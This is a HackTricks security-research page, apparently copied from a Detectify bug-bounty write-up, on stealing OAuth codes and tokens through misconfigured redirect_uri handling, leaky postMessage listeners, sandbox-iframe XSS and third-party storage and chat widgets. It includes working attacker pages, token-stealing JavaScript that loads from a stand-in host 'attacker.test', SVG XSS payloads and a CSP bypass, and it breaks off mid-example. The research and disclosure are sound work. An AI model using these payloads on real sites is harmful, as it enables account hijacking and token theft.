mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
762 lines
40 KiB
Markdown
762 lines
40 KiB
Markdown
# OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values
|
||
|
||
<details>
|
||
|
||
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
**This content was taken from** [**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)****
|
||
|
||
## Explanation of different OAuth-dances
|
||
|
||
### Response types
|
||
|
||
First, there are different response types you can use in the OAuth-dance. These responses grant the **token to login as the users or the needed info to do so**.
|
||
|
||
The three most common ones are:
|
||
|
||
1. **`code` + `state`**. The **code** is used to **call the OAuth-provider** server-side to get a token. The **state** parameter is used to verify the **correct user is making the call**. It’s the OAuth-client’s responsibility to validate the state parameter before making the server-side call to the OAuth-provider.
|
||
2. **`id_token`**. Is a JSON Web Token **(JWT) signed** using a public certificate from the OAuth-provider to verify that the identity provided is indeed who it claims to be.
|
||
3. **`token`**. Is an **access token** used in the API of the service provider.
|
||
|
||
### Response modes
|
||
|
||
There are different modes the authorization flow could use to provide the codes or tokens to the website in the OAuth-dance, these are four of the most common ones:
|
||
|
||
1. **Query**. Sending query parameters as a redirect back to the website (`https://example.com/callback?code=xxx&state=xxx`). Used for `code+state`. The **code** can only be **used** **once** and you need the **OAuth client secret** to **acquire an access token** when using the code. 
|
||
1. [This mode is not recommended for tokens](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token) since **tokens can be used multiple times and should not end up in server-logs or similar**. Most OAuth-providers do not support this mode for tokens, only for code. Examples:
|
||
* `response_mode=query` is used by Apple.
|
||
* `response_type=code` is used by Google or Facebook.
|
||
2. **Fragment**. Using a **fragment redirect** (`https://example.com/callback#access_token=xxx`). In this mode, the fragment part of the URL doesn’t end up in any server-logs and can only be reached client-side using javascript. This response mode is used for tokens. Examples:
|
||
* `response_mode=fragment` is used by Apple and Microsoft.
|
||
* `response_type` contains `id_token` or `token` and is used by Google, Facebook, Atlassian, and others.
|
||
3. **Web-message**. Using **postMessage to a fixed origin of the website**:\
|
||
`postMessage('{"access_token":"xxx"}','https://example.com')`\
|
||
If supported, it can often be used for all different response types. Examples:
|
||
* `response_mode=web_message` is used by Apple.
|
||
* `redirect_uri=storagerelay://...` is used by Google.
|
||
* `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...` is used by Facebook.
|
||
4. **Form-post**. Using a form post to a valid `redirect_uri`, a **regular POST-request is sent back to the website**. This can be used for code and tokens. Examples:
|
||
* `response_mode=form_post` is used by Apple.
|
||
* `ux_mode=redirect&login_uri=https://example.com/callback` is used by Google Sign-In (GSI).
|
||
|
||
## Break `state` intentionally <a href="#break-state-intentionally" id="break-state-intentionally"></a>
|
||
|
||
The OAuth specification recommends a `state`-parameter in combination with a `response_type=code` to make sure that the user that initiated the flow is also the one using the code after the OAuth-dance to issue a token.
|
||
|
||
However, if the **`state`-value is invalid**, the **`code` will not be consumed** since it’s the **website’s responsibility (the final one) to validate the state**. This means that if an attacker can send a login-flow-link to a victim tainted with a valid `state` of the attacker, the OAuth-dance will fail for the victim and the `code` will never be sent to the OAuth-provider. The code will still be possible to use if the attacker can get it.
|
||
|
||
1. Attacker starts a sign-in flow on the website using “Sign in with X”.
|
||
2. Attacker uses the `state`-value and constructs a link for the victim to sign in with the OAuth-provider but with the attacker’s `state`.
|
||
3. Victim gets signed-in with the link and redirected back to the website.
|
||
4. Website validates the `state` for the victim and stops processing the sign-in flow since it’s not a valid state. Error page for victim.
|
||
5. Attacker finds a way to leak the `code` from the error page.
|
||
6. Attacker can now sign in with their own `state` and the `code` leaked from the victim.
|
||
|
||
### Response-type/Response-mode switching
|
||
|
||
**Changing response-types or response-modes** of the OAuth-dance will **affect** in what **way** the **codes** or **tokens** are **sent back** to the website, which most of the time causes unexpected behaviour. I haven’t seen any OAuth-provider having the option to restrict what response-types or modes that the website wants to support, so depending on the OAuth-provider there are often at least **two or more that can be changed** to when trying to end up in a non-happy path.
|
||
|
||
There’s also an ability to request multiple response-types. There’s a specification explaining [how to provide the values to the redirect-uri when multiple response-types are requested](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#Encoding):
|
||
|
||
> If, in a request, `response_type` includes only values that require the server to return data fully encoded within the query string, then the returned data in the response for this multiple-valued `response_type` MUST be fully encoded within the query string. This recommendation applies to both success and error responses.
|
||
>
|
||
> If, in a request, `response_type` includes any value that requires the server to return data fully encoded within the fragment then the returned data in the response for this multiple-valued `response_type` MUST be fully encoded within the fragment. This recommendation applies to both success and error responses.
|
||
|
||
If this specification is followed properly, it means that you can ask for a `code`-parameter sent to the website, but **if you also ask for `id_token` at the same time, the `code`-parameter will be sent in the fragment** part instead of in the query string.
|
||
|
||
For Google’s sign-in this means that:
|
||
|
||
```
|
||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||
client_id=client-id.apps.googleusercontent.com&
|
||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||
scope=openid%20email%20profile&
|
||
response_type=code&
|
||
access_type=offline&
|
||
state=yyy&
|
||
prompt=consent&flowName=GeneralOAuthFlow
|
||
```
|
||
|
||
will redirect to `https://example.com/callback?code=xxx&state=yyy`. But:
|
||
|
||
```
|
||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||
client_id=client-id.apps.googleusercontent.com&
|
||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||
scope=openid%20email%20profile&
|
||
response_type=code,id_token&
|
||
access_type=offline&
|
||
state=yyy&
|
||
prompt=consent&flowName=GeneralOAuthFlow
|
||
```
|
||
|
||
will redirect to `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
|
||
|
||
Same idea applies to Apple if you use:
|
||
|
||
```
|
||
https://appleid.apple.com/auth/authorize?
|
||
response_type=code&
|
||
response_mode=query&
|
||
scope=&
|
||
state=zzz&
|
||
client_id=client-id&
|
||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||
```
|
||
|
||
you will be redirected to `https://example.com/callback?code=xxx&state=yyy`, but:
|
||
|
||
```
|
||
https://appleid.apple.com/auth/authorize?
|
||
response_type=code+id_token&
|
||
response_mode=fragment&
|
||
scope=&
|
||
state=zzz&
|
||
client_id=client-id&
|
||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||
```
|
||
|
||
Will redirect you to `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`.
|
||
|
||
## Non-Happy Paths
|
||
|
||
The author of the research called **non-happy paths to wrong URLs where the user login via OAuth was redirected to**. This is useful because if the client is provided the token o a valid state+code **but he doesn't reach the expected page**, that **information won't be properly consumed** and if the attacker finds a way to **exfiltrate that info** from the "non-happy path" he will be able to **takeover the account**.
|
||
|
||
By default, the OAuth flow will reach the expected path, however, there could be some potential **misconfigurations** that could allow an attacker to **craft a specific initial OAuth request** that will make the **user reach a non-happy path after logging in**.
|
||
|
||
### Redirect-uri mismatchings
|
||
|
||
These "common" found **misconfigurations** were found in the **redirect url** of the OAuth communication.
|
||
|
||
The [**specification**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) **** strictly indicates that the redirect url should be strictly compared with the one defined not allowing changes appart from the port appearing or not. However, some endpoints where allowing some modifications:
|
||
|
||
### Redirect-uri path appending
|
||
|
||
Some OAuth-providers **allow additional data to be added** to the path for `redirect_uri`. This is also breaking the specification in the same way as for “Redirect-uri case shifting”. For example, having a `https://example.com/callback`redirect uri, sending in:
|
||
|
||
```
|
||
response_type=id_token&
|
||
redirect_uri=https://example.com/callbackxxx
|
||
```
|
||
|
||
would end up in a redirect to `https://example.com/callbackxxx#id_token`.
|
||
|
||
### Redirect-uri parameter appending
|
||
|
||
Some OAuth-providers **allow additional query or fragment parameters** to be added to the `redirect_uri`. You can use this by triggering a non-happy path by providing the same parameters that will be appended to the URL. For example, having a `https://example.com/callback` redirect uri, sending in:
|
||
|
||
```
|
||
response_type=code&
|
||
redirect_uri=https://example.com/callback%3fcode=xxx%26
|
||
```
|
||
|
||
would end up in these cases as a redirect to `https://example.com/callback?code=xxx&code=real-code`. Depending on the website receiving **multiple parameters with the same name, this could also trigger a non-happy path**. Same applies to `token` and `id_token`:
|
||
|
||
```
|
||
response_type=code&
|
||
redirect_uri=https://example.com/callback%23id_token=xxx%26
|
||
```
|
||
|
||
ends up as `https://example.com/callback#id_token=xxx&id_token=real-id_token`. Depending on the **javascript that fetches the fragment parameters when multiple parameters of the same name are present**, this could also end up in a non-happy path.
|
||
|
||
### Redirect-uri leftovers or misconfigurations
|
||
|
||
When collecting all sign-in URLs containing the `redirect_uri`-values I could also test if other redirect-uri values were also valid. Out of 125 different Google sign-in flows I saved from the websites I tested, 5 websites had the start-page also as a valid `redirect_uri`. For example, if `redirect_uri=https://auth.example.com/callback` was the one being used, in these 5 cases, any of these were also valid:
|
||
|
||
* `redirect_uri=https://example.com/`
|
||
* `redirect_uri=https://example.com`
|
||
* `redirect_uri=https://www.example.com/`
|
||
* `redirect_uri=https://www.example.com`
|
||
|
||
This was especially interesting for the websites that actually used `id_token` or `token`, since `response_type=code` will still have the OAuth-provider validating the `redirect_uri` in the last step of the OAuth-dance when acquiring a token.
|
||
|
||
## Gadget 1: Weak or no origin-check postMessage-listeners that leaks URL
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-1-1024x582.png)
|
||
|
||
**In this example, the final non-happy path where the token/code was being send was sending a post request message leaking location.href.**\
|
||
One example was an analytics-SDK for a popular site that was loaded on websites:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example1.png)
|
||
|
||
This SDK exposed a postMessage-listener which sent the following message when the message-type matched:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example2.png)
|
||
|
||
Sending a message to it from a different origin:
|
||
|
||
```javascript
|
||
openedwindow = window.open('https://www.example.com');
|
||
...
|
||
openedwindow.postMessage('{"type":"sdk-load-embed"}','*');
|
||
```
|
||
|
||
A response message would show up in the window that sent the message containing the `location.href` of the website:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget1-example3.png)
|
||
|
||
The flow that could be used in an attack depended on how codes and tokens were used for the sign-in flow, but the idea was:
|
||
|
||
### **Attack**
|
||
|
||
1. Attacker sends the victim a **crafted link** that has been prepared to **result in a non-happy path** in the OAuth-dance.
|
||
2. Victim **clicks** the link. New tab opens up with a **sign-in** flow with one of the OAuth-providers of the website being exploited.
|
||
3. Non-happy path gets triggered on the website being exploited, the **vulnerable postMessage-listener is loaded on the page the victim landed on, still with the code or tokens in the URL**.
|
||
4. **Original tab** sent by the attacker sends a bunch of **postMessages** to the new tab with the website to get the postMessage-listener to leak the current URL.
|
||
5. Original tab sent by the attacker then **listens to the message sent to it**. When the URL comes back in a message, the **code and token is extracted** and sent to the attacker.
|
||
6. **Attacker signs in as the victim** using the code or token that ended up on the non-happy path.
|
||
|
||
## Gadget 2: XSS on sandbox/third-party domain that gets the URL
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget-2-1024x582.png)
|
||
|
||
 
|
||
|
||
## **Gadget 2: example 1, stealing window.name from a sandbox iframe**
|
||
|
||
This one had an **iframe** loaded on the **page where the OAuth-dance ended**. The **name** of the **iframe** was a **JSON-stringified version of the `window.location` object**. This is an old way of transferring data cross-domain, since the page in the iframe can get its own `window.name` set by the parent:
|
||
|
||
```javascript
|
||
i = document.createElement('iframe');
|
||
i.name = JSON.stringify(window.location)
|
||
i.srcdoc = '<script>console.log("my name is: " + window.name)</script>';
|
||
document.body.appendChild(i)
|
||
```
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget2-example2.png)
|
||
|
||
The domain loaded in the **iframe also had a simple XSS**:
|
||
|
||
```
|
||
https://examplesandbox.com/embed_iframe?src=javascript:alert(1)
|
||
```
|
||
|
||
### Attack
|
||
|
||
If you have an **XSS** on a **domain** in one window, this window can then **reach other windows of the same origin** if there’s a parent/child/opener-**relationship between the windows**.
|
||
|
||
This means that an attacker could **exploit the XSS to load a new tab** with the crafted **OAuth link** that will **end** in the **path** that **loads** the **iframe with the token in the name**. Then, from the **XSS** exploited page it will be possible to **read the name of the iframe** because it has an **opener over the iframes parent page** and exfiltrate it.
|
||
|
||
More specificly:
|
||
|
||
1. Created a malicious page that’s embedding an iframe of the sandbox with the XSS loading my own script:
|
||
|
||
```html
|
||
<div id="leak"><iframe src="https://examplesandbox.com/embed_iframe?src=javascript:
|
||
x=createElement('script'),
|
||
x.src='//attacker.test/inject.js',
|
||
document.body.appendChild(x);"
|
||
style="border:0;width:500px;height:500px"></iframe></div>
|
||
```
|
||
2. In my script being loaded in the sandbox, I replaced the content with the link to use for the victim:
|
||
|
||
```javascript
|
||
document.body.innerHTML =
|
||
'<a href="#" onclick="
|
||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||
Click here to hijack token</a>';
|
||
```
|
||
|
||
I also started a script in an interval to check if the link was opened and the iframe I wanted to reach is there to get the `window.name` set on the iframe with the same origin as the iframe on the attacker’s page:
|
||
|
||
```javascript
|
||
x = setInterval(function() {
|
||
if(parent.window.b &&
|
||
parent.window.b.frames[0] &&
|
||
parent.window.b.frames[0].window &&
|
||
parent.window.b.frames[0].window.name) {
|
||
top.postMessage(parent.window.b.frames[0].window.name, '*');
|
||
parent.window.b.close();
|
||
clearInterval(x);
|
||
}
|
||
}, 500);
|
||
```
|
||
3. The attacker page can then just listen to the message we just sent with the `window.name`:
|
||
|
||
```html
|
||
<script>
|
||
window.addEventListener('message', function (e) {
|
||
if (e.data) {
|
||
document.getElementById('leak').innerText = 'We stole the token: ' + e.data;
|
||
}
|
||
});
|
||
</script>
|
||
```
|
||
|
||
## **Gadget 2: example 2, iframe with XSS + parent origin check**
|
||
|
||
The second example was an **iframe** loaded on the **non-happy path** with an XSS **using postMessage**, but **messages were only allowed from the `parent`** window that loaded it. The **`location.href` was sent down to the iframe when it asked for `initConfig`** in a message to the `parent` window.
|
||
|
||
The main window loaded the iframe like this:
|
||
|
||
```html
|
||
<iframe src="https://challenge-iframe.example.com/"></iframe>
|
||
```
|
||
|
||
And the content looked like this (a lot more simplified than how it actually was, but to explain the attack better):
|
||
|
||
```html
|
||
<script>
|
||
window.addEventListener('message', function (e) {
|
||
if (e.source !== window.parent) {
|
||
// not a valid origin to send messages
|
||
return;
|
||
}
|
||
if (e.data.type === 'loadJs') {
|
||
loadScript(e.data.jsUrl);
|
||
} else if (e.data.type === 'initConfig') {
|
||
loadConfig(e.data.config);
|
||
}
|
||
});
|
||
</script>
|
||
```
|
||
|
||
### Attack
|
||
|
||
In this case the **attacker loads an iframe with the Post-message XSS vuln page**, and **exploits** the **XSS** to load **arbitrary JS.**\
|
||
This **JS** will **open** a **tab** with the **OAuth link**. After logging in, the final page contains the toke in the URL and has loaded an iframe (the XSS post-message vuln iframe).
|
||
|
||
Then, the **arbitrary JS** (from the exploited XSS) has an **opener to that tab**, so it **access the iframe** and makes it **ask the parent for the `initConfig`** (which contains the **URL with the token**). The parent page **gives it to the iframe**, which is **also commanded to leak it**.\
|
||
|
||
|
||
In this case, I could do a similar method like the previos example:
|
||
|
||
1. Create a **malicious** **page** that’s embedding an **iframe** of the sandbox, attach an **onload** to **trigger a script when the iframe is loaded**.
|
||
|
||
```html
|
||
<div id="leak"><iframe
|
||
id="i" name="i"
|
||
src="https://challenge-iframe.example.com/"
|
||
onload="run()"
|
||
style="border:0;width:500px;height:500px"></iframe></div>
|
||
```
|
||
2. Since the **malicious page is then the parent** of the iframe, it could **send a message to the iframe to load our script** in the origin of the sandbox using **postMessage (XSS)**:
|
||
|
||
```html
|
||
<script>
|
||
function run() {
|
||
i.postMessage({type:'loadJs',jsUrl:'https://attacker.test/inject.js'}, '*')
|
||
}
|
||
</script>
|
||
```
|
||
3. In my script being loaded in the sandbox, I replaced the content with the **link for the victim**:
|
||
|
||
```javascript
|
||
document.body.innerHTML = '<a href="#" onclick="
|
||
b=window.open("https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?...");">
|
||
Click here to hijack token</a>';
|
||
```
|
||
|
||
I also started a script in an interval to **check if the link was opened and the iframe I wanted to reach was there**, to run javascript inside it from my iframe to the main window. I then attached a postMessage-listener that passed over the message back to my iframe in the malicious window:
|
||
|
||
```javascript
|
||
x = setInterval(function() {
|
||
if(b && b.frames[1]) {
|
||
b.frames[1].eval(
|
||
'onmessage=function(e) { top.opener.postMessage(e.data, "*") };' +
|
||
'top.postMessage({type:'initConfig'},"*")'
|
||
)
|
||
clearInterval(x)
|
||
}
|
||
}, 500);
|
||
```
|
||
4. The attacker page that had the iframe loaded can then listen to the message I sent from the injected postMessage listener proxy in the main window’s iframe:
|
||
|
||
```html
|
||
<script>
|
||
window.addEventListener('message', function (e) {
|
||
if (e.data) {
|
||
document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
|
||
}
|
||
});
|
||
</script>
|
||
```
|
||
|
||
## Gadget 3: Using APIs to fetch URL out-of-bounds
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/Gadget-3--1024x582.png)
|
||
|
||
 
|
||
|
||
This gadget turned out to be the most fun. There’s something satisfying about sending the victim somewhere and then picking up sensitive data from a different location.
|
||
|
||
## **Gadget 3: example 1, storage-iframe with no origin check**
|
||
|
||
The first example used an external service for tracking-data. This service added a “storage iframe”:
|
||
|
||
```html
|
||
<iframe
|
||
id="tracking"
|
||
name="tracking"
|
||
src="https://cdn.customer1234.analytics.example.com/storage.html">
|
||
</iframe>
|
||
```
|
||
|
||
The main window would talk with this iframe using postMessage to send tracking-data that would be saved in the localStorage of the origin the `storage.html` was located in:
|
||
|
||
```javascript
|
||
tracking.postMessage('{"type": "put", "key": "key-to-save", "value": "saved-data"}', '*');
|
||
```
|
||
|
||
The main window could also fetch this content:
|
||
|
||
```javascript
|
||
tracking.postMessage('{"type": "get", "key": "key-to-save"}', '*');
|
||
```
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example1.png)
|
||
|
||
When the iframe was loaded on initialization, a key was saved for the last location of the user using `location.href`:
|
||
|
||
```javascript
|
||
tracking.postMessage('{"type": "put", "key": "last-url", "value": "https://example.com/?code=test#access_token=test"}', '*');
|
||
```
|
||
|
||
If you could talk with this origin somehow and get it to send you the content, the `location.href` could be fetched from this storage. The postMessage-listener for the service had a block-list and an allow-list of origins. It seems like the analytics-service allowed the website to define what origins to allow or deny:
|
||
|
||
```javascript
|
||
var blockList = [];
|
||
var allowList = [];
|
||
var syncListeners = [];
|
||
|
||
window.addEventListener('message', function(e) {
|
||
// If there's a blockList, check if origin is there and if so, deny
|
||
if (blockList && blockList.indexOf(e.origin) !== -1) {
|
||
return;
|
||
}
|
||
// If there's an allowList, check if origin is there, else deny
|
||
if (allowList && allowList.indexOf(e.origin) == -1) {
|
||
return;
|
||
}
|
||
// Only parent can talk to it
|
||
if (e.source !== window.parent) {
|
||
return;
|
||
}
|
||
handleMessage(e);
|
||
});
|
||
|
||
function handleMessage(e) {
|
||
if (data.type === 'sync') {
|
||
syncListeners.push({source: e.source, origin: e.origin})
|
||
} else {
|
||
...
|
||
}
|
||
|
||
window.addEventListener('storage', function(e) {
|
||
for(var i = 0; i < syncListeners.length; i++) {
|
||
syncListeners[i].source.postMessage(JSON.stringify({type: 'sync', key: e.key, value: e.newValue}), syncListeners[i].origin);
|
||
}
|
||
}
|
||
```
|
||
|
||
Also, if you had a valid origin based on the `allowList`, you would also be able to ask for a sync, which would give you any of the changes made to the localStorage in this window sent to you when they were made.
|
||
|
||
### Attack
|
||
|
||
On the website that had this storage loaded on the non-happy path of the OAuth-dance, no allowList-origins were defined; **this allowed any origin to talk with the postMessage** listener if the origin was the `parent` of the window:
|
||
|
||
1. I created a malicious page that embedded an iframe of the storage container and attached an onload to trigger a script when the iframe is loaded.
|
||
|
||
```html
|
||
<div id="leak"><iframe
|
||
id="i" name="i"
|
||
src="https://cdn.customer12345.analytics.example.com/storage.html"
|
||
onload="run()"></iframe></div>
|
||
```
|
||
2. Since the malicious page was now the parent of the iframe, and no origins were defined in the `allowList`, the malicious page could send messages to the iframe to tell the storage to send messages for any updates to the storage. I could also add a listener to the malicious page to listen for any sync-updates from the storage:
|
||
|
||
```html
|
||
<script>
|
||
function run() {
|
||
i.postMessage({type:'sync'}, '*')
|
||
}
|
||
window.addEventListener('message', function (e) {
|
||
if (e.data && e.data.type === 'sync') {
|
||
document.getElementById('leak').innerText = 'We stole the token: ' + JSON.stringify(e.data);
|
||
}
|
||
});
|
||
</script>
|
||
```
|
||
3. The malicious page would also contain a regular link for the victim to click:
|
||
|
||
```html
|
||
<a href="https://accounts.google.com/o/oauth2/auth/oauthchooseaccount?..."
|
||
target="_blank">Click here to hijack token</a>';
|
||
```
|
||
4. The victim would click the link, go through the OAuth-dance, and end up on the non-happy path loading the tracking-script and the storage-iframe. The storage iframe gets an update of `last-url`. The `window.storage`-event would trigger in the iframe of the malicious page since the localStorage was updated, and the malicious page that was now getting updates whenever the storage changed would get a postMessage with the current URL of the victim:
|
||
|
||
<figure><img src="https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example2.png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## **Gadget 3: example 2, customer mix-up in CDN – DIY storage-SVG without origin check**
|
||
|
||
Since the analytics-service itself had a bug bounty, I was also interested to see if I could find a way to leak URLs also for the websites that had configured proper origins for the storage-iframe.
|
||
|
||
When I started searching for the `cdn.analytics.example.com` domain online without the customer-part of it, I noticed that this CDN also contained images uploaded by customers of the service:
|
||
|
||
```
|
||
https://cdn.analytics.example.com/img/customer42326/event-image.png
|
||
https://cdn.analytics.example.com/img/customer21131/test.png
|
||
```
|
||
|
||
I also noticed that there were SVG-files served inline as `Content-type: image/svg+xml` on this CDN:
|
||
|
||
```
|
||
https://cdn.analytics.example.com/img/customer54353/icon-register.svg
|
||
```
|
||
|
||
I registered as a trial user on the service, and uploaded my own asset, which also showed up on the CDN:
|
||
|
||
```
|
||
https://cdn.analytics.example.com/img/customer94342/tiger.svg
|
||
```
|
||
|
||
The interesting part was that, if you then used the customer-specific subdomain for the CDN, the image was still served. This URL worked:
|
||
|
||
```
|
||
https://cdn.customer12345.analytics.example.com/img/customer94342/tiger.svg
|
||
```
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example4.png)
|
||
|
||
This meant that the customer with ID #94342 could render SVG-files in customer #12345’s storage.
|
||
|
||
I uploaded a SVG-file with a simple XSS-payload:
|
||
|
||
`https://cdn.customer12345.analytics.example.com/img/customer94342/test.svg`
|
||
|
||
```html
|
||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 500 500" width="100%" height="100%" version="1.1">
|
||
<script xlink:href="data:,alert(document.domain)"></script>
|
||
</svg>
|
||
```
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example3.png)
|
||
|
||
Not great. The CDN added a `Content-Security-Policy: default-src 'self'` header to everything under `img/`. You could also see the server header mentioned S3 – disclosing that the content was uploaded to an S3-bucket:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example5.png)
|
||
|
||
One interesting quirk with S3 is that directories are not really directories in S3; the path before the key is called a “prefix”. This means that S3 doesn’t care if `/` are url-encoded or not, it will still serve the content if you url-encode every slash in the URL. If I changed `img/` to `img%2f` in the URL would still resolve the image. However, in that case the CSP-header was removed and the XSS triggered:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example6.png)
|
||
|
||
I could then upload an SVG that would create the same form of storage-handler and postMessage-listener like the regular `storage.html`, but an empty `allowList`. That allowed me to do the same kind of attack even on websites that had properly defined the allowed origins that could talk to the storage.
|
||
|
||
I uploaded a SVG that looked like this:
|
||
|
||
```html
|
||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||
<svg id="svg2" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewbox="0 0 5 5" width="100%" height="100%" version="1.1">
|
||
<script xlink:href="data:application/javascript;base64,dmFyIGJsb2NrTGlzdCA9IFtdOwp2YXIgYWxsb3dMaXN0ID0gW107Ci4uLg=="></script>
|
||
</svg>
|
||
```
|
||
|
||
I could then utilize the same methodology like in example #1, but instead of iframing the `storage.html` I could just iframe the SVG with the url-encoded slash:
|
||
|
||
```html
|
||
<div id="leak"><iframe
|
||
id="i" name="i"
|
||
src="https://cdn.customer12345.analytics.example.com/img%2fcustomer94342/listener.svg"
|
||
onload="run()"></iframe></div>
|
||
```
|
||
|
||
Since no website would be able to patch this themselves, I sent a report to the analytics provider in charge of the CDN instead:
|
||
|
||
![](https://labs.detectify.com/wp-content/uploads/2022/06/gadget3-example7.png)
|
||
|
||
The whole idea about looking at misconfiguration bugs on the third-party was mainly to confirm that there are multiple ways to achieve the leaking of the tokens and since the third-party had a bug bounty, this was just a different receiver for the same kind of bug, the difference being that the impact was for all of the customers of the analytics service instead. In this case, the customer of the third-party actually had the ability to properly configure the tool to not make it leak data to the attacker. However, since the sensitive data was still sent to the third-party it was interesting to see if there was somehow a way to completely bypass the customer’s proper configuration of the tool.
|
||
|
||
## **Gadget 3: example 3, chat-widget API**
|
||
|
||
The last example was based on a chat-widget that was present on all pages of a website, even the error pages. There were multiple postMessage-listeners, one of them without a proper origin check that only allowed you to start the chat-popup. Another listener had a strict origin check for the chat-widget to receive an initialization-call and the current chat-api-token that was used for the current user.
|
||
|
||
```html
|
||
<iframe src="https://chat-widget.example.com/chat"></iframe>
|
||
<script>
|
||
window.addEventListener('message', function(e) {
|
||
if (e.data.type === 'launch-chat') {
|
||
openChat();
|
||
}
|
||
});
|
||
|
||
function openChat() {
|
||
...
|
||
}
|
||
|
||
var chatApiToken;
|
||
window.addEventListener('message', function(e) {
|
||
if (e.origin === 'https://chat-widget.example.com') {
|
||
if (e.data.type === 'chat-widget') {
|
||
if (e.data.key === 'api-token') {
|
||
chatApiToken = e.data.value;
|
||
}
|
||
if(e.data.key === 'init') {
|
||
chatIsLoaded();
|
||
}
|
||
}
|
||
}
|
||
});
|
||
|
||
function chatIsLoaded() {
|
||
...
|
||
}
|
||
</script>
|
||
```
|
||
|
||
When the chat-iframe loaded:
|
||
|
||
1. If a chat-api-token existed in the chat-widget’s localStorage it would send the api-token to its parent using postMessage. If no chat-api-token existed it would not send anything.
|
||
2. When iframe has loaded it will send a postMessage with a `{"type": "chat-widget", "key": "init"}` to its parent.
|
||
|
||
If you clicked on the chat-icon in the main window:
|
||
|
||
1. If no chat-api-token had been sent already, the chat-widget would create one and put it in its own origin’s localStorage and postMessage it to the parent window.
|
||
2. The parent window would then make an API-call to the chat-service. The API-endpoint was CORS-restricted to the specific website configured for the service. You had to provide a valid `Origin`-header for the API-call with the chat-api-token to allow the request to be sent.
|
||
3. The API-call from the main window would contain `location.href` and register it as the “current page” of the visitor with the chat-api-token. The response would then contain tokens to connect to a websocket to initiate the chat-session:
|
||
|
||
```json
|
||
{
|
||
"api_data": {
|
||
"current_page": "https://example.com/#access_token=test",
|
||
"socket_key": "xxxyyyzzz",
|
||
...
|
||
}
|
||
}
|
||
```
|
||
|
||
In this example, I realized the announcement of the chat-api-token would always be announced to the parent of the chat-widget iframe, and if I got the chat-api-token I could just make a server-side request using the token and then add my own artificial `Origin`-header to the API-call since a CORS-header only matters for a browser. This resulted in the following chain:
|
||
|
||
1. Created a malicious page that’s embedding an iframe of the chat-widget, added a postMessage-listener to listen for the chat-api-token. Also, triggered an event to reload the iframe if I haven’t gotten the api-token in 2 seconds. This was to make sure that I also supported the victims that had never initiated the chat, and since I could trigger to open the chat remotely, I first needed the chat-api-token to start polling for the data in the chat-API from server-side.
|
||
|
||
```html
|
||
<div id="leak"><iframe
|
||
id="i" name="i"
|
